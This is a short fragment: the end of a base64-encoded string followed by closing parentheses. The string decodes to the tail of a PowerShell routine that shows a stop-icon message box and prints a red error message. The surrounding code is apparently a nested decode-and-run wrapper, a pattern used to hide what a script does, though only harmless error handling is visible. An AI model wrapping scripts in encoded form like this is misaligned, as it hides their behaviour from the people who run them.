bU3lzdGVtLldpbmRvd3MuRm9ybXMuTWVzc2FnZUJveEljb25dOjpTdG9wKQogICAgV3JpdGUtSG9zdCAi4puUICRlcnJNc2ciIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkCn0K"))))